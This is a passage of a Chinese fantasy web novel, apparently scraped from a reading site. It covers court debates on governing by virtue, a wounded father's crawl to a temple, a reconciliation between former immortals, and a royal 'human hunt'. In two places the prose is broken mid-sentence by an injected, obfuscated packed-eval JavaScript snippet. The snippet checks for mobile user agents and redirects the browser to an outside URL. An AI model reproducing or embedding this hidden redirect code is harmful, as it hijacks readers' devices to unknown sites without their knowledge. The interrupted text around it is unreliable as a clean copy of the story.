拓宏等了一会儿,转过身来。悦然站在案边,手按着墨锭,指节微微发白。她不看他。御书房里安静了很久。灯花爆了一声,又一声。窗外破霄抖了抖翅膀。 "你有话未说。"拓宏道。 悦然抬起头。她的声音不高,但每个字都落得很稳。 "我在想——你言四国皆有所偏。可那四国,是拓石的凛锋,是拓云的滨蓝,是炀崎的瓦鲁。他们是只不过都在找破解之法。" 她停了一下,声音沉了半分。 "我听闻拓石在凛锋推行律法,日夜批文至三更,累得在案上睡着了,醒来接着批。拓云在滨蓝带动百姓返璞归真,将自己的住处让与流民,自己睡在树底下。炀崎在止杀寺门前坐了整整三日,为以佛法度人止杀,也已精疲力尽。" 她看着拓宏。 "他们拿命在做。你只一句''皆是偏颇''——他们这数日来的心血,便尽数打翻了?" 她的声音没有抖,但每一个字都像在护着什么东西。不是护一个道理——是护四个人。 拓宏看着她。看了很久。 "非是打翻。" 他走回案前,将瓦鲁那封急报拿起来,又放下。 "正因在意他们所做之事,我才要去想一件他们都未曾来得及想的事。" 他抬头看悦然。 "他们将自己所选之路走到了极处。大哥将律法刻进了凛锋的城墙之中,云儿将自然种入了滨蓝的土壤之内,炀崎将慈悲坐进了自己的骨血深处。但他们太忙了——忙到无暇坐下来,彼此看一眼。律法看向慈悲,觉得太软;慈悲看向律法,觉得太硬;自然看向礼序,觉得太假;礼序看向自然,觉得太散。他们并非有意如此,只是在各自的道路上走得太深了。深到看不见彼此。" 他停了一下。 "曦宇居五国之中。曦宇看得见他们所有人。故我不能只做第五个独走一条路的人。我要寻一个他们皆未看见的东西——那个在各自道路之下、能撑住所有道路的东西。" 他看向悦然,目光很深。 "那个东西,在你手中。" 悦然的眉心动了一下。"在我手中?" "故而我才问你。"拓宏说,伸手宠溺地揉揉悦然软滑锦缎般的头发,声音很低,"你想要的所在,究竟是什么样子的?" 悦然眸中没有立刻回答。 同一时刻,千里之外。瓦鲁。 雨落下来了。不大,但很密。 阿四在一条泥泞的街巷里往前爬。雨水混着泥灌进他断腿的旧伤里,血被冲淡了,变成浅红色的水,从他裤管上往下淌。他不觉得疼。他只觉得冷。儿子的声音还在耳边——"爹,我冷。"他攥紧石头,指节磨在石尖上,磨破了皮肉,他感觉不到。 他往前爬。 街巷很长。他从天黑爬到了天更黑。雨停了一阵,又下起来。他的手指在泥里刨出了十道浅沟,又被雨水抹平。他中途停了一次——不是因为累,是因为他听见路边一间破屋里传出了孩子的哭声。那哭声很细,像猫叫。他停了几息,然后将石头咬在嘴里,用双手继续往前爬。 止杀寺的暮钟还未响。他在等那声钟响。 他不知道有个三千岁的神女,在三千年前就想过要造一个地方,让他这样的人不再这么苦。 但拓宏知道。 拓宏看着悦然,没有催她。灯花又爆了一声。悦然的手按在墨锭上,指节还在发白,但那不是因为生气了。是因为有什么东西,被他一问,从很深很深的地方翻上来了。 "有一面镜子。"她终于开口了,声音比平时轻了很多,"在天界的偏殿里,鲜少有人踏足。镜中可观凡间——非是俯瞰,是极近地看,看见一个人的面容,看见他是在哭还是在笑。" 拓宏没有接话。他起身,执起茶壶,为她斟了一杯热茶。茶汤落入盏中,声响极轻。 悦然望着那盏茶,继续说了下去。 "那时我常常去。别的神看凡间,看的是兴衰、气运、因果。我不看那些。我看人。看一个母亲抱着死去的孩子,坐在田埂上,不哭也不动。看一个老者在集市上被人推倒,筐中菜蔬滚了一地,他伏在地上一棵一棵地捡。看两个兄弟为了三寸地的田埂,互相揪着衣领,双目之中尽是血丝。" 她的手指在墨锭上慢慢摩挲。 "我看得久了,便生出疑问。他们为何这般苦?并非因天灾,并非因神罚。是他们心中有物在撕扯。贪与怕在撕扯,爱与恨在撕扯,想放下的与放不下的在撕扯。打赢了的那一个,便成了他们的命。打输了的那一个,便成了他们的病。一代一代,无有不同。" 她抬起头。 "我不忍见他们这般苦。" 拓宏看着她的眼睛。那双眼睛里有一种很旧的光——不是悲伤,是看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634823|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了太久、想了太久之后沉淀下来的东西。 "故而你向紫宸大帝要了雨洪山。" "嗯。我想造一处所在。不以神力去管,不以天规去罚——只是让住在那里的人,都能寻到那一条线。" "什么线?" "人心中本有的那条线。不伤人,不欺人,不负人,不轻贱自身,亦不轻贱他人。"悦然道,"我看了那般多的人间悲苦,发觉所有的大苦大难,追至最底处,皆是先越过了这条线。越过一寸,便有一寸之乱。越过一尺,便有一尺之劫。若能守住——心中那些撕扯之物,便撕不散你。" 拓宏没有立刻回应。他端起自己的茶盏,转了一圈。茶是凉的,他不在意。 "故而你才想了五德。" "非我所想。"悦然摇头,"是我所见。看了千年,见到四种最能安定人心的力量——礼能束妄行,法能止私欲,道能解执念,慈能渡怨苦。然其后我发觉,此四者,缺少了一物。" "少了根基。" "少了根基。"悦然颔首,"礼法自然慈悲,皆是后天制衡人心的法门。可若无那条做人的底线为根基——礼便沦为虚伪,法便沦为苛酷,道便沦为放纵,慈便沦为纵恶。" 她顿了顿。 "三千岁时,我只模糊知晓有此一线。曾为它起了个名字,唤作''德''。然那时我尚年幼,只知有此念,却不知如何令世人知晓。" 拓宏站起来,走到她面前。 窗外有风穿过廊道,吹动了案上的文书,纸页哗啦翻过数页,又归于安静。 "如今知晓了。" 悦然抬头看他。 "非是缘于你想通了如何教人。"拓宏道,"是因你用两世走了一遭——从华夏至蔚魄,从帝女至创世神,从天庭的祭坛至循化岛的银杏树。你所历的那些爱恨、误解、轻生、放下——令你自己先将这条线守住了。唯有自身守住之物,方能令另一个人看见。" 悦然看着他,嘴唇动了动,未说出话来。 拓宏伸出手,将她的手自墨锭上取下来,握在掌中。他的手因灼伤结痂而粗粝,但他握得极轻。 "你说你三千岁时不知如何去做。如今我来做。" 悦然的睫毛颤了一下。 "曦宇居四国之中,"拓宏道,"非是要管辖四国,非是要强于四国。是要做那个根基。四国各执一法,偏了;曦宇便执那个不偏之物——德。以德为标尺,以礼法自然慈悲为辅佐。非是第五种治法,乃是那四种治法之下、撑住它们的那个根基。" 他松开她的一只手,另一只手仍握着。他抬起空着的手,指向窗外第一缕真正亮起来的天光。 "你看那束光。它什么也没有写,却令所有的影子都有了方向。" 悦然顺着他所指的方向看去。天光正从窗棂里一寸一寸地漫进来,落在御书案上,落在她方才溅了墨的宣纸上,落在拓宏结痂的指节上。 "你的念想,三千年前便有了。我来将它落地。你是绘制图样之人,我来搬石筑础。" 悦然看着他,眼眶里没有泪,却有一种极深的光。 "拓宏。" "嗯。" "你这是要拿曦宇,为我盖那座三千年前想盖的宅子。" 拓宏没有否认。他只是看着她,目光里有一种极笃定的平静。 "是。曦宇新政,不尊儒,不奉法,不慕道,不渡佛。只立一条人心中本有的底线。" 他松开她的手,走回案前,摊开一张空白的圣旨。提起笔,在圣旨最上方写下一行字—— "人心中有此一线,守住便是平和,越过便是深渊。曦宇新政,唯以此德,以安天下心。" 拓宏搁下笔。砚池里的墨微微荡了一下,映出窗外一点将亮未亮的天光。 他忽然想起很多年前,在天界,他立于殿柱之后,望着那个三千岁的小女孩对凡间的投影出神。 那时他不知她会成为他的妻子。他亦不知,他会成为她画完图样之后、那个搬石筑础的人。 窗外,暮色尽褪,星河初上。曦宇王城的万家灯火在夜色里一点一点亮起来。 尚未通明。然已不远。 御书房中归于安静。拓宏重新执笔批阅奏章,悦然拾起墨锭继续研墨。两人皆未再言语。 然悦然的手忽地停了。墨锭在砚池中转至半圈,不再动。 她望向窗外。方才还平稳的灵气,忽然有什么东西动了一下。极远,极轻,像千里之外一株古树最深处的根须,在泥土里伸了一个懒腰。 她没有说。 她只是低下头,继续研墨。墨在砚池里转了一圈又一圈。 而案后,拓宏的笔尖也顿了一下。 极轻,极短。一滴墨自笔锋上凝住,将落未落,洇在奏章的边角上,化开一小团深色。他未曾抬头,亦未曾望向窗外。 他只是将笔尖重新搁稳,继续写下一行字。 两人各做各的事。她研墨,他批奏章。窗外的天光又亮了一寸。 谁也没有开口。然御书房中那股静,比方才多了一层东西——不是沉默,是两个人都听见了同一个声音,却各自选择了不说。 43. 诸般因果 德輶如毛,民鲜克举之。 ——《诗经·大雅·烝民》 瓦鲁。夜雨已歇。 止杀寺的钟声骤然响起,是晚课要开始了。钟声浑厚绵长,穿过雨后湿雾,穿过瓦鲁低矮的街巷,一直传至阿四耳边。 阿四浑身一颤。 他趴在泥地中,抬起头。面上的泥被雨水冲去了半边,露出底下一张苍白的、嘴唇发颤的脸。他已不知自己在往何处爬了——然钟声告知他,方向是对的。 他向前望去。 街巷尽处,雾气散了些。他看见了止杀寺。 灰墙,玄瓦,一围矮院,几间殿舍。门楣上悬着一块檀木的匾额,字迹被雾气吞了大半,看不清写的什么。寺门敞着。门前石阶之上,一个素衣之人盘膝而坐,一动不动。他身后是寺门,身前是一群人。 与他一样攥着石块。 阿四低头望了望自己手中的石头。棱角犹在,将他的掌心磨出了一道又一道的血痕。他将石头攥得更紧了。 "爹,我冷。" 那个声音犹在。然钟声更响。 阿四咬紧牙关,用尽最后一分气力,撑着双手,将自己往前拖去。 他爬过最后一段泥路,爬上止杀寺前的石阶。石阶上有许多脚印——人的,靴子的,踩烂的菜叶子和打碎的石块。他爬过那些脚印,抬起了头。 他看见了炀崎。 素衣之人坐在寺门前,身上沾着泥点子和碎菜叶。有人往他身上扔过石头——他的额角有一块淤青,嘴角有干涸的血痕。头上还挂着一小片烂菜叶,僧袍上溅着臭鸡蛋的蛋液,发出刺鼻的味道。然他的眼睛是静的。不是那种无动于衷的静——是那种看见了所有的东西、仍然没有挪开目光的静。 阿四攥着石头,趴在他面前。 他们之间隔着三步远。阿四的断腿在石阶上拖出两道血痕,混着雨水,淌进了石缝里。 炀崎睁开眼,看见了阿四。 他没有站起来,没有后退,没有说话。他只是看着阿四——看着那双断腿,看着那双磨烂了的手,看着那块被他攥紧的石头,看着阿四那双满是委屈和怨毒的眼睛。 阿四听人说,他是瓦鲁的王子,和那些烧他房子杀他女儿的人是一伙的。可此刻他坐在那儿,挨了石头没躲,被人泼了臭鸡蛋没擦,腰背还是直的。他看着阿四——不是看一个来杀他的人,是看一个人。 阿四的鼻子酸了,他张开嘴大哭,却只是湿了眼睛,没有泪流下来。 爬了那么远的路,恨被泥水和血泡得发了白,只剩下一层极薄的、近乎透明的痛。 然后钟声又响了一下。 阿四的手松了。石头从掌心滑出来,磕在石阶上,滚了半圈,停住了。 他趴在石阶上,额头抵着冰凉的石面,肩膀抖了起来,而后沉沉地睡了过去。 没有哭声。只是抖。 炀崎看着他。看了很久。然后他站起来,穿过愤怒的呆愣的人群,走到阿四面前,蹲下来,把自己的素衣外袍脱下来,盖在了阿四的背上。 衣袍带着体温,阿四的肩膀瑟缩了一下,但没有醒。 炀崎没有说"放下"。没有说"慈悲"。没有说任何一个字。他只是蹲在那里,轻轻抱起阿四,走回止杀寺,告诉信众帮他疗伤,而后便又走回那个蒲团上,陪着愤怒的人群,继续打坐。 "我饿!"人群中一个十二三的男孩子突然喊道。 "施粥。"炀崎淡淡道。这是三天了人们第一次听到炀崎的声音,低哑而坚定。 粥棚支好的时候,满庭院哐哐当当的声响,是百姓们放下石块器具的声音,他们开始排起长队,安静地等着分粥。 三十里外,荒丘之上那团黑雾缓缓收拢。 它没有名姓。无人为它取名——那些见过它的人,皆只看见一团模糊的、如同淤血般的影子。然它知晓自己是什么。它是这片大地上被积压了太久的恶,是矿洞中的冤魂、沙场上的血泥、宫墙砖隙间的骨肉相残,被一缕不该来的生机搅醒了。 它没有愤怒,没有失落。阿四的回头不过是一个人,区区一个人罢了。它有整整一个瓦鲁的恨可以食。 它只需等。 等下一声"爹,我冷"。 黑雾缓缓盘踞回荒丘之上。远远望去,如同一摊淤血,在月夜之下缓缓蠕动。 贪嗔痴恨……浓重如渊,积在人心底,深不见底。他要做的就是吞噬,吞噬一切,湮灭一切。好,那便叫湮渊。 就这么定了。 湮渊拖着庞大的身躯,掠过瓦鲁的大地。 曦宇王宫。御书房。 午时。 悦然在研墨。墨在砚池里转了一圈又一圈,她的手忽地停住。墨锭自指间滑落,"啪"地落在案上,墨汁溅了几滴在宣纸上。 拓宏抬头。悦然的手还悬在半空,指尖微颤。 "他醒了。" 拓宏没有问"谁"。他只是放下笔。 "嗯。" "他会来。" "嗯。" "非是即刻。还要几日。他在收拢灵力。" 拓宏没有再应声。他执起笔,然笔尖悬于纸上,墨在笔锋上慢慢凝聚,将滴未滴。 "你在想什么。"悦然问。 拓宏放下笔。 "在想——他来了之后,你第一句会说什么。" 悦然沉默了片刻。这个问题她想过很多次,每次想出来的都不一样。 "我不知。" "那便听他先说。"拓宏道。 他重新执笔,开始批下一份奏章。悦然拾起墨锭,继续研墨。 此后的数日,曦宇王宫一切如常。然两人皆知自己在等。拓宏落笔比平时慢,悦然看书时一页翻了许久。破霄偶尔自窗棂飞入,蹲在横木上,金黄色的眼睛看看这个,看看那个。 第五日黄昏。宫人来报。 "城外有客求见。白发,青袍。未递名帖。" 拓宏搁下笔,看了悦然一眼。悦然的手按在书页上,指节微微发抖。她深吸一口气,手松了。 "请。" 煦审年踏入御书房时,夕阳正自窗棂斜斜地落进来,将他整个人笼在一层暖光里。还是那身青袍,白发以一根素色发带松松束着。面容比沉睡时丰润了不少。唇边有一丝极淡的纹路——非是笑,是那种行了极远的路,终于走到一处可以停下来的所在,唇角自然松开的弧度。 拓宏起身,拱手。 "元——" "煦审年。"他打断,语气极淡,却极认真,"非是什么元尊。只是一个——想明白了的人。" 他的目光越过拓宏,落在悦然身上。 悦然坐于原处,书摊在膝上,手按着书页。她没有站起来。 两人的目光在夕照里碰了一下。 "你来了。"她说。她还是先开了口。 "我来了。"苍野耔煦望着悦然,似乎又看到抓住他衣角的小丫头,眼圈一红。 拓宏看了悦然一眼,转身行至殿门,低声吩咐宫人备茶。他给了他们一段距离。 煦审年立于御案前,与悦然相距三步之遥。悦然看了他几息,目光从他的面色移到他的手,又移回他的眼睛。 "你的脸色比走时好了。"她说,"仙根呢?" "全然恢复了。"煦审年道。 悦然微微颔首。她垂眼看了看自己按在书页上的手,指节松了一下,又按住了。 "既已全然恢复——"她抬起头,"你为何还不回归天位?" 煦审年的眼神闪了一下。极快,像水面被风吹过一道纹,立刻又平了。他偏过头,望向窗外。窗外是曦宇的暮色,远山如黛。 "今日来,便是想告知你此事。"他说,"我暂不归位。" 他停了一下。 "我苏醒之时,灵识自涣散中复聚,仙根重焕,生机外涌——那股生机顺着地脉流至四方,将浊泉沉寂了数百年的浊物惊醒了。" "便是那浊核。"拓宏转过身来。 "正是。"煦审年颔首,"它在浊泉地底压了数百年,本是一潭死灰。我的生机渗入地脉,将其触活。此事——与当年倩婷之事一般无二,因果在我。" 他的声音无甚起伏,似在陈述一桩旧案。然他的手垂于身侧,攥了一下,又松开。 "归位便是躲避。躲回天上去,看你们在此间收拾残局。我所触动之劫,自当由我来平息。瓦鲁有浊核为祟——此事,我来。" 他望向悦然。 这一次他没有避。 然他在看她的时候,唇先动了一下,才发出声音——似是一句话到了嘴边,被换成了另一句。 "青岚亦一并代管。礼序诸务,覃徵一人撑不得太久。此二事,便算我欠这片大地的。" 悦然看着他。看了许久。久到拓宏以为她不会言语了。 "只为此故?"她问。 她的语气极轻,不像质问,不像讥讽。像是——她什么都知道,只是要他自己说出来。 煦审年没有接这句话。他将目光移向拓宏,动作比方才快了些,快得不大自然。 拓宏沉默了片刻。他没有看煦审年,而是看了悦然一眼。 悦然微微垂着眼,唇角有一丝极淡的弧度。不是笑——是那种看穿了一切、却什么都不说的安静。 "好。"拓宏道,"浊核之事,便托付于你,我们会给炀崎运送物资,方便他安置灾民。青岚亦然,我二人目前却也无力顾及。" 煦审年颔首。他转回身,重新将手搭在窗棂之上,似是松了一口气,又似是将什么东西重新藏了回去。 他望着窗外已沉入夜色的远山,不再言语。 悦然看着他的背影。那个背影比从前单薄了许多,青袍挂于肩上有些空荡。白发的发尾在暮色里微微扬起,又落下,又扬起。 她什么都看懂了。 然她只是将手中那卷书合上,搁在膝头。 "第二件呢。"她说。 "第二件,非是消息。是确认。"煦审年的声音重新稳了下来,"你们收到的急报,止杀寺被围——那非是寻常民变。" 拓宏微微颔首。 "已知晓了。炀崎有书信来,寺已被围多日。" "然炀崎的信中,可曾告知你们——那些围寺之人,听见了什么。" 拓宏沉默了一息。 "未曾。他只说有人叫骂,扔掷石块。他在寺门前打坐,已坐了三日。" "我在来路之上感应到了。"煦审年道,"瓦鲁有浊气在动。非是散逸的残浊,是有核的。那个核在往止杀寺的方向汇聚。一路之上我经了三座城,每座城皆有同样的事——有人在夜里听见亡者的声音。死去的至亲,死去的仇敌,用他们最熟悉的声音说同一句话。" 他停了一下。 "你放得下吗?便讨回来啊!" 悦然蹙眉望向他。 "非是蛊惑。"煦审年道,"是唤醒。那个浊核不食血肉——它食恨。那些围寺之人非是受它操控的傀儡,是被它翻出了心中埋藏最深的怨,然后用他们自己的声音,劝他们去复仇。炀崎的慈悲渡得了怨,渡不了恨。怨是软的,恨是硬的——硬到极处,会将慈悲一并砸碎。" 拓宏望着案上那封急报,许久无言。 "故炀崎在等。"他说。 "他在等那些人将恨撒尽。"悦然道。 "撒不尽的。"煦审年道,"恨非消耗之物。恨是种子。只要那个浊核尚在,它便会一颗一颗地种下去。" 他转向悦然。 "悦然,你的蔚魄,仍需你的神魂做引。去寻一寻——你心中那些苦痛怨怼,是如何化解的。找到了,治国之道便也在其中了。" 悦然沉默了片刻。 "你方才说,你要去青岚重整礼序。"她道,"我能问你一句么——为何是礼序?青岚复国未久,百废待兴。瓦鲁用慈悲,凛锋用律法,滨蓝用自然,哪一样听来皆比礼序更轻省些。你为何偏择一条最迂缓的路?" 煦审年没有立刻回答。 他行至窗前,推开窗。暮色里,远山如黛,天地间最后一抹霞光正自山顶上收去。 "你未曾见过青岚灭国之前的样子。"他说。 悦然没有言语。 "那时的青岚,重礼,重序,重尊卑,重规矩。天下人称曦宇是礼仪之根,青岚为''礼法之魂''。灭国之后,有人言青岚乃是被礼教所害,言其太重规矩,太讲尊卑,太端架子,故才敌不过瓦鲁的铁骑。" 他转过身。 "然说这些话的人,未曾见过青岚灭国之后的模样。" 他的声音无甚起伏,然每一个字都似刻在石上。 "灭国那一夜,王城被破,宫墙被推倒。青岚的百姓,一夜之间从''礼法之邦的子民''变作了亡国之奴。瓦鲁的兵卒在街上烧杀,青岚人跪在道旁,额上、手上、面上尽是灰土。那非是战败之灰——那是心中有什么东西碎了,碎成了齑粉,扬在脸上,再洗不掉了。" 他的喉结动了一下。 "我曾见过一位青岚的老臣。灭国之后,他在瓦鲁人的马厩里饲马。他从前是掌礼司的大夫,毕生教人如何立、如何拜、如何言、如何守节。后来他在马厩中,跪着为瓦鲁的马夫递草料。某一日,他忽然不能言语了。非是哑了——是张着嘴发不出声。大夫瞧过,说喉中无病。是他心中那根弦,断了。" 悦然的唇动了动,未说出话来。拓宏不知何时已转过身来,背倚殿门,一动不动地听着。 "这便是青岚的伤。"煦审年道,"非是国土被侵夺,非是王都被焚毁。是每一个人心中那根弦——那根令他们自觉为''人''的东西——被连根拔去了。你可曾见过一国之人,所有人的眼眸之中皆无光?青岚灭国之后,便是那般模样。" 他停了片刻。 "故到青岚之后,我未急于推新政。我在循化岛守了三年灵脉,亦想了一件事——青岚所缺,究竟是什么。" "缺的是什么。"悦然轻声问。 "慈悲、律法、自然——皆是治''病''之药。青岚最缺的非是药。是骨。是那个散了之后、能令人重新站立的东西。" 他的目光落在窗外远山的方向。窗外最后一抹霞光已然熄了,远山化作一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636679|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片深青色的剪影。 "礼序此物,说来不甚好听。刻板、繁冗、束缚——这些骂名它皆背着。灭国之前,青岚的礼序确然病了:繁文缛节,虚礼假意,将人裹得如同粽子一般。然灭国之后我才明白——礼序的内核,非是那些虚的。是''位''。每个人心中皆有一个位——知晓自己是谁,知晓自己立于何处,知晓自己于天地之间有一个不容轻贱的位置。战乱摧毁的非是人的屋舍,非是人的田亩,乃是人对自身这个''位''的确认。" 他转过身,望向悦然与拓宏。 "散了的人心,靠什么拢回来?非是靠令众人都变强——那是律法所行之事。非是靠令众人皆不争——那是自然所行之事。非是靠令众人互相怜悯——那是慈悲所行之事。是靠令每一个人重新寻回自己的位置。在那片被铁骑踏碎的土地上,重新知晓——我立于何处,我与何人相连,我该行何事,我该守何则。这便是礼序。非是繁文缛节,非是刻板教条。是给一群散了魂魄的人,每人一根脊梁骨。" 殿中极静。夕阳终于落尽了,只余窗棂上最后一抹暗红的光,如同一块燃了许久的炭,被灰盖住了,然其下仍是热的。那抹暗红在煦审年的青袍上停了一息,而后亦熄了。 悦然望着他,许久不曾移开目光。 "你从前在天界,"她说,"是天帝座下最重序的神。你定过天规,掌过神序。那些物事于你而言,是一套法则。" "然。"煦审年道,"但那时我不懂。我以为序是靠权柄定的。神有神序,人有人序,违者罚之。如今我懂了。序非是定出来的——是长出来的。是从人心中那根弦上长出来的。我不过是去拨动一下罢了。" 他转向拓宏。 "你们在曦宇推德治。德乃是人心中那条底线。守住了底线,便知分寸。青岚的礼序,是在此底线之上,再助人搭一副骨架。德为根基,礼为栋梁。根基稳了,栋梁方能立起。栋梁立起了,人心方有处可安。" 拓宏默然片刻,而后拱手。 "受教。" 煦审年摇了摇头。 "非是教诲。是我用了三载光阴将自己熬成一截枯木,方才想明白的事。青岚当年是我定的礼序路子,我未能看着它长成,便令它碎了。这一回,我想从头来过。非是复刻旧青岚的礼法之邦,是建一个新的——有魂魄的、有骨骼的、能令人重新站直的青岚。" 悦然忽而笑了一下。释然而敬佩的笑。 "便去吧,青岚需要你。" "第三件。"悦然又道。她的声音忽然轻了,然极稳。 煦审年望向她。 "第三件事,我欠你一句话。从前在华夏,我曾言''死生契阔,与子同悦''。我知你能悟到那是误会,但我仍欠你一句抱歉。" 她行至他面前。非是方才那一步之距——是面对面,极近。 "你在循化岛守了三年灵脉,饲了三年古树,将自己熬成了一截枯木。你欠的,已还了。我欠你的,亦已还了。" "前尘往事——"煦审年接口,"在循化岛时便说过了,一笔勾销。" "非是。"悦然摇头。 煦审年一怔。 悦然看着他的眼睛,声音极轻,然一字一字,如同钉子钉入木中。 "前尘往事,非是一笔勾销。是——我收下了。你的错,我的错,那些芜杂不清的、难以分说的、谁欠谁多些谁欠谁少些的——我尽数收下了。收下了,便不相欠。不相欠了,便不必偿还。不必偿还了,便不必再相见了——" 她停了一息。 "——除非你想见。" 煦审年看着她。他眼中有什么物事在转,未曾落下。 "我想见。"他说。声音微哑,然极稳。"我想见你们将曦宇治好,我想见青岚的礼序重新长出来,我想见那浊核被逐退,我想见四国不再偏于一术。我想见许多事。故我会在青岚好生守着,候你们来接手。" 他深吸一口气。 "非是赎罪。是——想做些事。" 悦然忽而笑了。是那种心中一块石头被搬走了,呼吸骤然通畅了的笑。 "好。" 她伸出一只手。 煦审年看了看她的手,伸手握住。非是男女间的那种握,非是君臣间的那种握——是两个人,一路自华夏行至此处,终于立在彼此面前,无恨,无怨,无亏欠。 "那我便去了。" 他转向拓宏,微微颔首。 他转身,向殿门行去。 行出三步,停住了。没有回头。 "悦然。" "嗯。" "你做得极好。我们几人——从前在天上,大抵皆小觑了你。所以,天道便让我们来亲眼看看,亲身试试,此一来回,便是无憾。" 他推开殿门,走了出去。 暮色已铺满了整座宫城。他的青袍在暮色中化作一抹深青色的影子,白发扬起又落下。步履不疾,然每一步皆踏实。 悦然立于御书房门前,望着那背影一点一点变小。拓宏立在她身侧,没有握她的手,只是站在一处。 "他老了。"悦然说。 "嗯。" 悦然收回目光,垂首望了望自己的手。方才与煦审年握过的那只手,尚有一丝余温。 "阿泽。" "嗯。" "谢谢你。" 拓宏握住她的手。她的手凉,他的手热。灼伤结痂后的皮肤粗粝,然他攥得极轻。 "夫妻一体,何必言谢。" 拓宏顿了顿,又道: "他是苍野元尊啊。他是那个险些令你死于天雷之下的人。然他亦是那个会在循化岛守三年灵脉、将自己熬成一截枯木的人。"拓宏望着暮色深处,"他来,是缘起,亦是归途。" 他低头看她。 "我若连此事都容不下,还谈什么''以德治天下''。更何谈为你夫婿。" 悦然望着他的眼睛。那双眼中没有试探,没有不安,只有一种极深的平静——如曦宇王城外那片被暮色浸透的原野,什么都托得住,什么都涵养得起。 她忽而笑了一下。 "德治的第一课——" "嗯?" "你过了。" 拓宏没有笑。他只是将她的手握得更紧了些。 "非是德治令我容下。是你。" 悦然没有说话。她将头靠在他肩上,极轻。 两人立于御书房门前,望着暮色一点一点吞掉宫城的飞檐斗拱。破霄自栏杆上飞起,在他们头顶绕了一圈,而后向青岚的方向飞去。 破霄的身影愈缩愈小,终化作一个黑点,融入了青岚方向的暮色之中。 它飞过的这片大地之上,五国各安其位。瓦鲁的钟声犹在响,凛锋的法典犹在刻,滨蓝的溪水犹在流,青岚的脊梁正一寸一寸地长回来。而曦宇——曦宇的灯火方才点亮。 而在瓦鲁,三十里外的荒丘上,那摊淤血般的黑雾仍在月夜下缓缓蠕动。 它没等来阿四的石头。然它不急。它有整整一个瓦鲁的恨可以食。 下一声"爹,我冷",已在另一间土坯房里响起了。 44. 人猎地陷 庖有肥肉,厩有肥马,民有饥色,野有饿莩。此率兽而食人也。 ——《孟子·梁惠王上》 瓦鲁王都,猎鼓声震天。 人猎——瓦鲁王室最古老的娱戏。将死囚、战俘、获罪的臣子驱入围场,由贵族子弟纵马追猎,箭矢穿身者为胜。 元乾还是宇文阚的时候,就痴迷此道。他常说,猎兽不如猎人——兽不知惧,人知。人会在死前求饶,会在血泊里喊娘,会在最后一刻露出那种眼神,那种知道自己此生所有尊严都将与这具烂肉一同埋入黄土的眼神。那眼神,是王者最好的下酒菜。 此刻围场上正追着一个中年男子。他原是个税吏,因少收了某位贵族的田税被告发,判了死罪。他已经跑不动了,跪在泥地上,双手抱头,哭得浑身发抖。马蹄从他头顶跃过,少年们的箭矢擦着他的耳廓飞过去,每一箭都引得看台上一阵哄笑。 十二岁的元炀喆坐在看台正中央,一条腿蜷在椅上,另一条腿晃荡着。他手里拈着一粒葡萄,没有看围场,而是偏过头,将那粒葡萄送到母亲唇边。 围场上传来那税吏的哭喊声,凄厉而含混,像被什么东西堵住了喉咙。元炀喆的手没有停,指尖稳稳地捏着那粒葡萄,紫红的,饱满的,皮上还挂着一层薄薄的白霜。 “母后,这人猎才是我瓦鲁的血性。不像我哥,还弄个什么止杀寺。这些草芥,不听话就杀掉,留着干什么。” 元瑶珂低头含住那粒葡萄,唇角的笑意淡而深。她抚摸着儿子的手背,指腹在他指节上轻轻摩挲。 那双手还很小,指节尚未长开,指甲修得圆润整齐。她看着这双手,像是在看一件自己亲手烧制的瓷器——釉色正好,器型正稳,再过几年就能盛天下最烈的酒。 她的指腹在儿子虎口处停了一瞬——那里有一层薄茧,是握剑磨出来的。停了一瞬,然后继续摩挲,动作没有丝毫变化。 “喆儿说得对。你父王打下的江山,将来是要交到你手上的。你哥哥不懂这个道理——他以为慈悲能治国。慈悲?”她轻笑了一声,手指从儿子手背上移开,替他整了整衣领,“慈悲只属于弱者。” 她说着,眼光放得很远,似乎透过这围猎场,看到了自己当年是怎样被瓦鲁王妃们欺辱,怎样逃到曦宇,又是怎样使尽一切手段迷惑住宇文阚,鼓动他杀回瓦鲁,杀了她曾经的夫君,夺回了她的一切。 元炀喆笑了。那笑容和元瑶珂一模一样——嘴角先弯,眼底跟上半步,恰好停在“温润”与“冷厉”之间的那道缝上。 他转过头,重新看向围场。那个税吏已经中了两箭,一箭在肩,一箭在腿,正趴在泥地上往前爬。他的手指抠进泥土里,指甲翻卷,在身后拖出十道浅浅的血沟。 “快爬起来呀,”元炀喆托着腮,轻声说,“爬起来才好玩!” 吏部大臣是在这时候闯进来的。 他推开侍卫,踉跄着跪倒在看台下。头发散了,官帽歪在一边,手里攥着一卷账册,账册的边角已经被汗浸透了。 “王上!国库存粮已不足三月之用。前线军饷拖欠两月,士卒每日只发一碗薄粥。去岁大旱,今年蝗灾,南境三郡颗粒无收——王上,臣请王上颁仁政、休养生息、暂罢兵戈、开仓赈灾,否则——否则国将不国!” 围场上的马蹄停了。少年们勒住缰绳,回头看台。那个中箭的税吏也停了,趴在泥地上,侧着脸,一只眼睛已经被血糊住,另一只眼睛大睁着。 元乾没有看那个税吏。他半倚在王座上,手指慢慢转着酒杯。 “仁政?”他把这两个字嚼了嚼,“爱卿,朕记得你当年是随朕从曦宇一路杀过来的老人。你可是被谁蛊惑了?” “王上!彼时是打天下,如今天下已定——” 